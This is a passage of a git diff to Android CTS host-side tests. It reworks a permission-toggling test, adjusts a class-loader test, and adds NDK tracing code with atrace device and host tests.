+        return mContext.getContentResolver().insert(CalendarContract.Calendars.CONTENT_URI, values);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
index 6675383..ada3d19 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
@@ -1,4 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
     <string name="Permissions">Permissions</string>
+    <string name="Deny">Deny</string>
+    <string name="Allow">Allow</string>
+    <string name="AllowAll">Allow all the time</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 3e237a0..283be89 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -389,7 +389,7 @@
         waitForIdle();
 
         for (String permission : permissions) {
-            // Find the permission toggle
+            // Find the permission screen
             String permissionLabel = getPermissionLabel(permission);
 
             AccessibilityNodeInfo labelView = getNodeTimed(() -> findByText(permissionLabel), true);
@@ -398,17 +398,28 @@
             AccessibilityNodeInfo itemView = findCollectionItem(labelView);
             Assert.assertNotNull("Permission item should be present", itemView);
 
-            final AccessibilityNodeInfo toggleView = findSwitch(itemView);
-            Assert.assertNotNull("Permission toggle should be present", toggleView);
+            click(itemView);
 
-            final boolean wasGranted = toggleView.isChecked();
+            String denyLabel = mContext.getResources().getString(R.string.Deny);
+            AccessibilityNodeInfo denyView = getNodeTimed(() -> findByText(denyLabel), true);
+            Assert.assertNotNull("Deny label should be present", denyView);
+
+            final boolean wasGranted = !denyView.isChecked();
             if (granted != wasGranted) {
                 // Toggle the permission
 
-                if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
-                    click(toggleView);
+                if (granted) {
+                    String allowLabel = mContext.getResources().getString(R.string.Allow);
+                    AccessibilityNodeInfo allowView = getNodeTimed(() -> findByText(allowLabel), false);
+                    if (allowView == null) {
+                        String allowAllLabel = mContext.getResources().getString(R.string.AllowAll);
+                        allowView = getNodeTimed(() -> findByText(allowAllLabel), true);
+                    }
+                    Assert.assertNotNull("Allow label should be present", allowView);
+
+                    click(allowView);
                 } else {
-                    click(itemView);
+                    click(denyView);
                 }
 
                 waitForIdle();
@@ -430,6 +441,9 @@
                     waitForIdle();
                 }
             }
+
+            getUiDevice().pressBack();
+            waitForIdle();
         }
 
         getUiDevice().pressBack();
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index b9dc639..73b820d 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -30,6 +30,7 @@
 import java.io.File;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 
 public class UsesLibraryTest extends InstrumentationTestCase {
     private static final String TAG = "UsesLibraryTest";
@@ -75,26 +76,23 @@
         ClassLoader loader = getClass().getClassLoader();
         if (loader instanceof BaseDexClassLoader) {
             Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
-            assertTrue(dexElements != null && dexElements.length > 1);
+            assertTrue(dexElements != null);
+            assertTrue(dexElements.length > 0);
 
-            // First dex file is either the shared library or the cts instrumentation library.
-            DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
-            String libPath = libDexFile.getName();
             // The last dex file should be the test apk file: com.android.cts.useslibrary.
             DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
             String apkPath = apkDexFile.getName();
 
             // In order to ensure the collision check is executed we use the apkDexFile when
             // constructing the test class path for duplicates.
-            // We do not use the shared libraries apks because they are compiled with a special
-            // marker which may skip the collision check (b/37777332).
-            String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+            String testPath = apkPath + File.pathSeparator + apkPath;
 
             PathClassLoader testLoader = new PathClassLoader(testPath, null);
             Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
-            assertTrue(testDexElements != null && testDexElements.length == 3);
+            assertTrue(testDexElements != null);
+            assertEquals(Arrays.toString(testDexElements), 2, testDexElements.length);
 
-            DexFile testDexFile = getDexFileFromDexElement(testDexElements[2]);
+            DexFile testDexFile = getDexFileFromDexElement(testDexElements[1]);
             assertFalse(isDexFileBackedByOatFile(testDexFile));
         }
     }
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index b1e84cb..f01f5b9 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := 28
 LOCAL_STATIC_JAVA_LIBRARIES := \
 	android-support-test \
 	compatibility-device-util
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index 0c84134..a4e5aca 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -22,6 +22,7 @@
 LOCAL_MODULE := CtsAtraceHostTestCases
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := trebuchet-core
 
 LOCAL_CTS_TEST_PACKAGE := android.host.atrace
 
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 146d037..b803e19 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -22,6 +22,8 @@
 
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_JNI_SHARED_LIBRARIES := libctstrace_jni
+LOCAL_MULTILIB := both
 
 LOCAL_PACKAGE_NAME := CtsAtraceTestApp
 
@@ -39,3 +41,5 @@
 LOCAL_AAPT_FLAGS += --warn-manifest-validation
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
index 16b56b3..cb57d14 100644
--- a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
+++ b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
@@ -30,4 +30,7 @@
         <!-- Profileable to enable tracing -->
         <profileable android:shell="true"/>
     </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.atracetestapp" />
 </manifest>
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/Android.mk b/hostsidetests/atrace/AtraceTestApp/jni/Android.mk
new file mode 100644
index 0000000..845b245
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/jni/Android.mk
@@ -0,0 +1,33 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctstrace_jni
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+	CtsTrace.cpp
+
+LOCAL_CFLAGS += -Wall -Werror
+
+LOCAL_SHARED_LIBRARIES := libandroid
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp b/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp
new file mode 100644
index 0000000..ce91662
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp
@@ -0,0 +1,57 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <android/trace.h>
+
+static jboolean isEnabled(JNIEnv*, jclass) {
+    return ATrace_isEnabled();
+}
+
+static void beginEndSection(JNIEnv*, jclass) {
+    ATrace_beginSection("ndk::beginEndSection");
+    ATrace_endSection();
+}
+
+static void asyncBeginEndSection(JNIEnv*, jclass) {
+    ATrace_beginAsyncSection("ndk::asyncBeginEndSection", 4770);
+    ATrace_endAsyncSection("ndk::asyncBeginEndSection", 4770);
+}
+
+
+static void counter(JNIEnv*, jclass) {
+    ATrace_setCounter("ndk::counter", 10);
+    ATrace_setCounter("ndk::counter", 20);
+    ATrace_setCounter("ndk::counter", 30);
+    ATrace_setCounter("ndk::counter", 9223372000000005807L);
+}
+
+static JNINativeMethod gMethods[] = {
+    { "isEnabled", "()Z", (void*) isEnabled },
+    { "beginEndSection", "()V", (void*) beginEndSection },
+    { "asyncBeginEndSection", "()V", (void*) asyncBeginEndSection },
+    { "counter", "()V", (void*) counter },
+};
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+    JNIEnv* env = nullptr;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+    jclass clazz = env->FindClass("com/android/cts/atracetestapp/AtraceNdkMethods");
+    env->RegisterNatives(clazz, gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+    return JNI_VERSION_1_4;
+}
diff --git a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java
new file mode 100644
index 0000000..b41b641
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.atracetestapp;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.Trace;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.Os;
+
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class AtraceDeviceTests {
+
+    @BeforeClass
+    public static void reportPidTid() {
+        Bundle status = new Bundle();
+        status.putLong("AtraceDeviceTests_pid", Os.getpid());
+        status.putLong("AtraceDeviceTests_tid", Os.gettid());
+        InstrumentationRegistry.getInstrumentation().addResults(status);
+    }
+
+    @Rule
+    public ActivityTestRule<AtraceTestAppActivity> mActivity =
+            new ActivityTestRule<>(AtraceTestAppActivity.class, true, false);
+
+    @Test
+    public void assertTracingOn() {
+        assertTrue(Trace.isEnabled());
+        assertTrue(AtraceNdkMethods.isEnabled());
+    }
+
+    @Test
+    public void assertTracingOff() {
+        assertFalse(Trace.isEnabled());
+        assertFalse(AtraceNdkMethods.isEnabled());
+    }
+
+    @Test
+    public void beginEndSection() {
+        assertTrue(Trace.isEnabled());
+        assertTrue(AtraceNdkMethods.isEnabled());
+        Trace.beginSection("AtraceDeviceTest::beginEndSection");
+        Trace.endSection();
+        AtraceNdkMethods.beginEndSection();
+    }
+
+    @Test
+    public void asyncBeginEndSection() {
+        assertTrue(Trace.isEnabled());
+        assertTrue(AtraceNdkMethods.isEnabled());
+        Trace.beginAsyncSection("AtraceDeviceTest::asyncBeginEndSection", 42);
+        Trace.endAsyncSection("AtraceDeviceTest::asyncBeginEndSection", 42);
+        AtraceNdkMethods.asyncBeginEndSection();
+    }
+
+    @Test
+    public void counter() {
+        assertTrue(Trace.isEnabled());
+        assertTrue(AtraceNdkMethods.isEnabled());
+        Trace.setCounter("AtraceDeviceTest::counter", 10);
+        Trace.setCounter("AtraceDeviceTest::counter", 20);
+        Trace.setCounter("AtraceDeviceTest::counter", 30);
+        Trace.setCounter("AtraceDeviceTest::counter", 9223372000000005807L);
+        AtraceNdkMethods.counter();
+    }
+
+    @Test
+    public void launchActivity() {
+        AtraceTestAppActivity activity = mActivity.launchActivity(null);
+        activity.waitForDraw();
+        activity.finish();
+    }
+
+    static {
+        System.loadLibrary("ctstrace_jni");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
index 14dbf6b..429eba4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,11 @@
  * limitations under the License.
  */
 
-package android.security.cts;
+package com.android.cts.atracetestapp;
 
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
+public class AtraceNdkMethods {
+    public static native boolean isEnabled();
+    public static native void beginEndSection();
+    public static native void asyncBeginEndSection();
+    public static native void counter();
 }
diff --git a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
index 3e8fa3a..85adeee 100644
--- a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
@@ -15,26 +15,87 @@
  */
 package com.android.cts.atracetestapp;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.app.Activity;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
 import android.os.Bundle;
 import android.os.Trace;
+import android.view.View;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class AtraceTestAppActivity extends Activity {
+
+    private CountDownLatch mHasDrawnFence;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        Trace.beginSection("traceable-app-test-section");
-        Trace.setCounter("mycounter", Trace.isEnabled() ? 1 : 0);
-        Trace.beginAsyncSection("traceable-async-section", 100);
+        Trace.beginAsyncSection("AtraceActivity::created", 1);
         super.onCreate(savedInstanceState);
-        Trace.endSection();
+        mHasDrawnFence = new CountDownLatch(1);
+        MyView view = new MyView(this);
+        setContentView(view);
+        view.getViewTreeObserver().registerFrameCommitCallback(mHasDrawnFence::countDown);
+    }
 
-        Thread t = new Thread(() ->
-                Trace.endAsyncSection("traceable-async-section", 100));
-        t.start();
+    @Override
+    protected void onStart() {
+        Trace.beginAsyncSection("AtraceActivity::started", 1);
+        super.onStart();
+    }
+
+    @Override
+    protected void onResume() {
+        Trace.beginAsyncSection("AtraceActivity::resumed", 1);
+        super.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        Trace.endAsyncSection("AtraceActivity::resumed", 1);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        Trace.endAsyncSection("AtraceActivity::started", 1);
+    }
+
+    @Override
+    protected void onDestroy() {
+        mHasDrawnFence = null;
+        super.onDestroy();
+        Trace.endAsyncSection("AtraceActivity::created", 1);
+    }
+
+    public void waitForDraw() {
         try {
-            t.join();
+            assertTrue(mHasDrawnFence.await(10, TimeUnit.SECONDS));
         } catch (InterruptedException e) {
-            throw new RuntimeException(e);
+            fail("Timed out: " + e.getMessage());
+        }
+    }
+
+    private static class MyView extends View {
+        private static int sDrawCount = 0;
+
+        public MyView(Context context) {
+            super(context);
+            setWillNotDraw(false);
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            Trace.beginSection("MyView::onDraw");
+            Trace.setCounter("MyView::drawCount", ++sDrawCount);
+            canvas.drawColor(Color.BLUE);
+            Trace.endSection();
         }
     }
 }
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java
new file mode 100644
index 0000000..6679e96
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java
@@ -0,0 +1,32 @@
+package android.atrace.cts;
+
+public final class AtraceConfig {
+
+    // Collection of all userspace tags, and 'sched'
+    public static final String[] RequiredCategories = {
+            "sched",
+            "gfx",
+            "input",
+            "view",
+            "webview",
+            "wm",
+            "am",
+            "sm",
+            "audio",
+            "video",
+            "camera",
+            "hal",
+            "res",
+            "dalvik",
+            "rs",
+            "bionic",
+            "power"
+    };
+
+    // Categories to use when capturing a trace with otherwise no categories specified
+    public static final String[] DefaultCategories = {
+            "view"
+    };
+
+    private AtraceConfig() {}
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
index 14dbf6b..28b6f8c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,13 @@
  * limitations under the License.
  */
 
-package android.security.cts;
+package android.atrace.cts;
 
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
+public enum AtraceDeviceTestList {
+    assertTracingOn,
+    assertTracingOff,
+    beginEndSection,
+    asyncBeginEndSection,
+    counter,
+    launchActivity,
 }
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 1af897e4..feed45f 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -16,18 +16,17 @@
 
 package android.atrace.cts;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
+import static android.atrace.cts.AtraceDeviceTestList.assertTracingOff;
+import static android.atrace.cts.AtraceDeviceTestList.assertTracingOn;
+import static android.atrace.cts.AtraceDeviceTestList.asyncBeginEndSection;
+import static android.atrace.cts.AtraceDeviceTestList.beginEndSection;
+import static android.atrace.cts.AtraceDeviceTestList.counter;
+import static android.atrace.cts.AtraceDeviceTestList.launchActivity;
+
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
 
 import java.io.BufferedReader;
-import java.io.File;
 import java.io.Reader;
-import java.io.StringReader;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
@@ -35,12 +34,20 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import kotlin.Unit;
+import trebuchet.model.Counter;
+import trebuchet.model.CounterValue;
+import trebuchet.model.Model;
+import trebuchet.model.ProcessModel;
+import trebuchet.model.ThreadModel;
+import trebuchet.model.base.Slice;
+import trebuchet.model.fragments.AsyncSlice;
+import trebuchet.queries.SliceQueries;
+
 /**
  * Test to check that atrace is usable, to enable usage of systrace.
  */
-public class AtraceHostTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String TEST_APK = "CtsAtraceTestApp.apk";
-    private static final String TEST_PKG = "com.android.cts.atracetestapp";
+public class AtraceHostTest extends AtraceHostTestBase {
 
     private interface FtraceEntryCallback {
         void onTraceEntry(String threadName, int pid, int tid, String eventType, String args);
@@ -84,42 +91,11 @@
         }
     }
 
-    private IBuildInfo mCtsBuild;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    // Collection of all userspace tags, and 'sched'
-    private static final List<String> sRequiredCategoriesList = Arrays.asList(
-            "sched",
-            "gfx",
-            "input",
-            "view",
-            "webview",
-            "wm",
-            "am",
-            "sm",
-            "audio",
-            "video",
-            "camera",
-            "hal",
-            "res",
-            "dalvik",
-            "rs",
-            "bionic",
-            "power"
-    );
-
     /**
      * Tests that atrace exists and is runnable with no args
      */
-    public void testSimpleRun() throws Exception {
-        String output = getDevice().executeShellCommand("atrace");
+    public void testSimpleRun() {
+        String output = shell("atrace");
         String[] lines = output.split("\\r?\\n");
 
         // check for expected stdout
@@ -133,11 +109,12 @@
     /**
      * Tests the output of "atrace --list_categories" to ensure required categories exist.
      */
-    public void testCategories() throws Exception {
-        String output = getDevice().executeShellCommand("atrace --list_categories");
+    public void testCategories() {
+        String output = shell("atrace --list_categories");
         String[] categories = output.split("\\r?\\n");
 
-        Set<String> requiredCategories = new HashSet<String>(sRequiredCategoriesList);
+        Set<String> requiredCategories = new HashSet<String>(Arrays.asList(
+                AtraceConfig.RequiredCategories));
 
         for (String category : categories) {
             int dashIndex = category.indexOf("-");
@@ -156,135 +133,150 @@
         }
     }
 
+    public void testTracingIsEnabled() {
+        runSingleAppTest(assertTracingOff);
+        traceSingleTest(assertTracingOn, true);
+        runSingleAppTest(assertTracingOff);
+    }
+
+    // Verifies that although tracing is active, Trace.isEnabled() is false since the app
+    // category isn't enabled
+    public void testTracingIsDisabled() {
+        runSingleAppTest(assertTracingOff);
+        traceSingleTest(assertTracingOff, false);
+        runSingleAppTest(assertTracingOff);
+    }
+
+    private static ThreadModel findThread(Model model, int id) {
+        for (ProcessModel process : model.getProcesses().values()) {
+            for (ThreadModel thread : process.getThreads()) {
+                if (thread.getId() == id) {
+                    return thread;
+                }
+            }
+        }
+        return null;
+    }
+
+    private static ProcessModel findProcess(Model model, int id) {
+        for (ProcessModel process : model.getProcesses().values()) {
+            if (process.getId() == id) {
+                return process;
+            }
+        }
+        return null;
+    }
+
+    private static Counter findCounter(ProcessModel processModel, String name) {
+        for (Counter counter : processModel.getCounters()) {
+            if (name.equals(counter.getName())) {
+                return counter;
+            }
+        }
+        return null;
+    }
+
+    public void testBeginEndSection() {
+        TraceResult result = traceSingleTest(beginEndSection);
+        assertTrue(result.getPid() > 0);
+        assertTrue(result.getTid() > 0);
+        assertNotNull(result.getModel());
+        ThreadModel thread = findThread(result.getModel(), result.getTid());
+        assertNotNull(thread);
+        assertEquals(2, thread.getSlices().size());
+        Slice sdkSlice = thread.getSlices().get(0);
+        assertEquals("AtraceDeviceTest::beginEndSection", sdkSlice.getName());
+        Slice ndkSlice = thread.getSlices().get(1);
+        assertEquals("ndk::beginEndSection", ndkSlice.getName());
+    }
+
+    public void testAsyncBeginEndSection() {
+        TraceResult result = traceSingleTest(asyncBeginEndSection);
+        assertTrue(result.getPid() > 0);
+        assertTrue(result.getTid() > 0);
+        assertNotNull(result.getModel());
+        ProcessModel process = findProcess(result.getModel(), result.getPid());
+        assertNotNull(process);
+        assertEquals(2, process.getAsyncSlices().size());
+        AsyncSlice sdkSlice = process.getAsyncSlices().get(0);
+        assertEquals("AtraceDeviceTest::asyncBeginEndSection", sdkSlice.getName());
+        assertEquals(42, sdkSlice.getCookie());
+        AsyncSlice ndkSlice = process.getAsyncSlices().get(1);
+        assertEquals("ndk::asyncBeginEndSection", ndkSlice.getName());
+        assertEquals(4770, ndkSlice.getCookie());
+    }
+
+    public void testCounter() {
+        TraceResult result = traceSingleTest(counter);
+        assertTrue(result.getPid() > 0);
+        assertTrue(result.getTid() > 0);
+        assertNotNull(result.getModel());
+        ProcessModel process = findProcess(result.getModel(), result.getPid());
+        assertNotNull(process);
+        assertTrue(process.getCounters().size() > 0);
+        Counter counter = findCounter(process, "AtraceDeviceTest::counter");
+        assertNotNull(counter);
+        List<CounterValue> values = counter.getEvents();
+        assertEquals(4, values.size());
+        assertEquals(10, values.get(0).getCount());
+        assertEquals(20, values.get(1).getCount());
+        assertEquals(30, values.get(2).getCount());
+        assertEquals(9223372000000005807L, values.get(3).getCount());
+    }
+
     /**
      * Tests that atrace captures app launch, including app level tracing
      */
-    public void testTracingContent() throws Exception {
-        String atraceOutput = null;
-        try {
-            // cleanup test apps that might be installed from previous partial test run
-            getDevice().uninstallPackage(TEST_PKG);
+    public void testTracingContent() {
+        turnScreenOn();
+        TraceResult result = traceSingleTest(launchActivity, AtraceConfig.DefaultCategories);
 
-            // install the test app
-            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-            File testAppFile = buildHelper.getTestFile(TEST_APK);
-            String installResult = getDevice().installPackage(testAppFile, false);
-            assertNull(
-                    String.format("failed to install atrace test app. Reason: %s", installResult),
-                    installResult);
+        final Set<String> requiredSections = new HashSet<>(Arrays.asList(
+                // From the 'view' category
+                "inflate",
+                "Choreographer#doFrame",
+                "traversal",
+                "measure",
+                "layout",
+                "draw",
+                "Record View#draw()",
 
-            // capture a launch of the app with async tracing
-            // content traced by 'view' tag tested below, 'sched' used to ensure tgid printed
-            String atraceArgs = "-a " + TEST_PKG + " -c -b 16000 view"; // TODO: zipping
-            getDevice().executeShellCommand("atrace --async_stop " + atraceArgs);
-            getDevice().executeShellCommand("atrace --async_start " + atraceArgs);
-            getDevice().executeShellCommand("am start " + TEST_PKG);
-            getDevice().executeShellCommand("sleep 5");
-            atraceOutput = getDevice().executeShellCommand("atrace --async_stop " + atraceArgs);
-        } finally {
-            assertNotNull("unable to capture atrace output", atraceOutput);
-            getDevice().uninstallPackage(TEST_PKG);
+                // From our app code
+                "MyView::onDraw"
+        ));
+
+        ThreadModel thread = findThread(result.getModel(), result.getPid());
+        SliceQueries.INSTANCE.iterSlices(thread, (Slice slice) -> {
+            requiredSections.remove(slice.getName());
+            return Unit.INSTANCE;
+        });
+
+        assertEquals("Didn't find all required sections",
+                0, requiredSections.size());
+
+        ProcessModel processModel = findProcess(result.getModel(), result.getPid());
+        Counter drawCounter = findCounter(processModel, "MyView::drawCount");
+        assertNotNull(drawCounter);
+        assertTrue(drawCounter.getEvents().size() > 0);
+        long previousCount = 0;
+        for (CounterValue value : drawCounter.getEvents()) {
+            assertTrue(previousCount < value.getCount());
+            previousCount = value.getCount();
         }
+        assertTrue(previousCount > 0);
 
+        final Set<String> requiredAsyncSections = new HashSet<>(Arrays.asList(
+                "AtraceActivity::created",
+                "AtraceActivity::started",
+                "AtraceActivity::resumed"
+        ));
 
-        // now parse the trace data (see external/chromium-trace/systrace.py)
-        final String MARKER = "TRACE:";
-        int dataStart = atraceOutput.indexOf(MARKER);
-        assertTrue(dataStart >= 0);
-        String traceData = atraceOutput.substring(dataStart + MARKER.length());
-
-        FtraceEntryCallback callback = new FtraceEntryCallback() {
-            private int userSpaceMatches = 0;
-            private int beginMatches = 0;
